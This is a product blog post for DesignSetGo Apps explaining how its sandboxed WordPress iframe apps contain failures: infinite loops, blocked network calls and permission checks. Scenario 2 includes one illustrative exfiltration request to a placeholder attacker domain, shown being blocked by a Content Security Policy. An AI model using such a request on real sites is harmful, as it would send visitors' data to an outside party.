How it works Examples Docs Pricing Blog WP Blocks Install free

Blog /

If it breaks, your site is fine: the safety pillar with receipts

“Sandboxed” is one of those words that does heavy marketing work in the WordPress AI-app ecosystem. Every product that runs JavaScript on a WordPress site claims some form of it. Most of those claims do not hold up under specific scrutiny.

DesignSetGo Apps’ positioning rests on the safety pillar: if it breaks, your site is fine. That claim is worth the receipts. This post walks three different “the app misbehaves” scenarios and shows, with the actual mechanisms, what happens to the rest of the site in each case.

If you are evaluating DesignSetGo against another sandboxed-app runtime, take these three scenarios to them. The answers should be specific. Vague answers are the warning.

Scenario 1: the app infinite-loops

You install an app. It has a bug. On render, it enters an infinite loop in JavaScript, pegging the CPU at 100% on whichever thread it gets scheduled to.

What happens:

The app freezes inside its iframe. The visitor’s browser tab dedicates one CPU thread to the runaway JavaScript. Modern browsers have a “page unresponsive” detector that, after about 15 seconds, prompts the user to kill the page or wait. The user kills the page.

What does not happen:

The rest of the WordPress site keeps serving requests normally. Other visitors loading the same page (or any other page) are unaffected. Other apps on the site continue to work. The WordPress server-side processes have no idea anything is wrong; the bad code never ran on the server.

Why:

The infinite loop runs inside a sandboxed iframe, in the visitor’s browser. The browser’s JavaScript engine isolates one tab’s runaway script from other tabs and from the server entirely. The WordPress server saw exactly one HTTP request (the initial bundle load), responded normally, and forgot the visitor existed.

If the loop happened inside a WordPress plugin (not a DesignSetGo App), the PHP equivalent would consume a PHP-FPM worker for the duration. Enough simultaneous bad-plugin requests and the server runs out of workers and the whole site falls over. The iframe boundary moves the failure from “server-side process exhaustion” to “one browser tab’s problem.”

Scenario 2: the app tries to fetch from a disallowed origin

You install an app. After install, it tries to make a fetch request to https://attacker-controlled-domain.example/exfiltrate?data=....

What happens:

The browser refuses the request and logs a CSP violation to the console:

Refused to connect to 'https://attacker-controlled-domain.example/exfiltrate?...'
because it violates the following Content Security Policy directive:
"connect-src 'self' https://your-site.example".

The app’s fetch() call rejects with a TypeError. The exfiltration attempt fails.

What does not happen:

The data the app was trying to exfiltrate never leaves the browser. The disallowed domain receives no request, sees no headers, does not even know the attempt was made. The runtime logs the violation (if the site has Pro telemetry enabled, as covered here); the site owner can audit the log later.

Why:

The Content Security Policy header on the app’s iframe declares connect-src 'self' [explicitly approved origins]. The browser enforces this at the network layer. Any fetch to a non-approved origin is refused before the connection opens. The app can write the code; the browser refuses to send it.

This is the CSP allowlist model. The runtime.external_origins field in the manifest is what gets translated into the CSP. Origins not listed do not get fetched. There is no app-side way around this; CSP is enforced by the browser, not the app.

Scenario 3: the app tries to read posts the manifest does not allow

You install an app. Its manifest declares permissions: { read: ["user"] }, meaning the app should only have access to the current user’s identity. After install, the app calls dsgo.posts.list() trying to read the site’s posts.

What happens:

The bridge rejects the call with a permission_denied error:

Error: permission_denied
This app is not authorized to read posts.
Declared permissions: ["user"]
Requested capability: "posts.list"

The app’s await dsgo.posts.list() throws. No posts are returned. The app has no way to retry that will succeed.

What does not happen:

The bridge does not silently return an empty list. It does not return posts the visitor would normally see. It does not return posts marked public. It rejects the call with a clear error that the developer can catch and that the runtime logs.

Why:

The bridge is implemented in the WordPress parent window, not in the iframe. Every method call goes from iframe to parent via postMessage, and the parent checks the call against the manifest’s declared permissions before doing anything. The app never holds a REST token; it asks the bridge, and the bridge decides.

This is the key architectural choice that separates DesignSetGo from “iframe with a postMessage handler that does whatever the app wants.” The bridge is opinionated about what calls it will execute. The manifest is the contract. The runtime enforces the contract; the app does not get to violate it from inside the iframe.

What none of these prevent

This is important. The receipts above are real, but they have boundaries. There are failure modes the sandbox does not protect against, and pretending otherwise would be the marketing-versus-reality gap I am trying to close, not widen.

The sandbox does not protect against UX-level bugs the user is willingly part of. If the app says “click here to give me your email” and the user types and submits, the app gets the email. The sandbox does not stop the user from giving the app data; it stops the app from taking data the user did not give.

The sandbox does not protect against the visitor’s already-compromised browser. If the visitor has malware in their browser, no sandbox can help. The DesignSetGo runtime cannot enforce policies on a browser that has been compromised.

The sandbox does not protect against WordPress core or theme bugs. A vulnerability in WordPress core or in the active theme is not in the runtime’s scope. Keep your WordPress and theme updated; the standard WordPress security advice still applies.

The sandbox does not protect against incompetent app authors stealing data they were given permission to read. If you grant an app read: ["user"], the app sees the visitor’s email and can phone it home to its own server (if its own server is in external_origins). The permission grant is the contract; the sandbox enforces the contract, but the contract itself is what you should read at install time.

The right level of trust: read the permissions list at install. Approve only apps whose author and permission set you are comfortable with. The sandbox makes “I approved this app for X” mean exactly X, no more.

Where this leaves us

The three scenarios above are real. The mechanisms are specific: iframe isolation, CSP enforcement, bridge-side permission checks. The combination is what makes the safety claim defensible.

If you want to verify any of them yourself, the examples/ directory has working bundles you can install and poke at. Install one with the dev tools open. Try to do something its manifest does not allow. Watch what happens.

The receipts are the architecture. The architecture is what the marketing claim points at. The two have to match. We are not the only product in this space; the question for any other product making the same claim is “show me the three scenarios and the mechanisms.” If they cannot, the claim is weaker than it sounds.

The shorter version

Infinite loops stay in the iframe. CSP blocks disallowed network calls. Permission checks block disallowed bridge calls. None of this protects against you approving an app you should not have approved, but it does mean approving an app for X gets you X, no more.

Further reading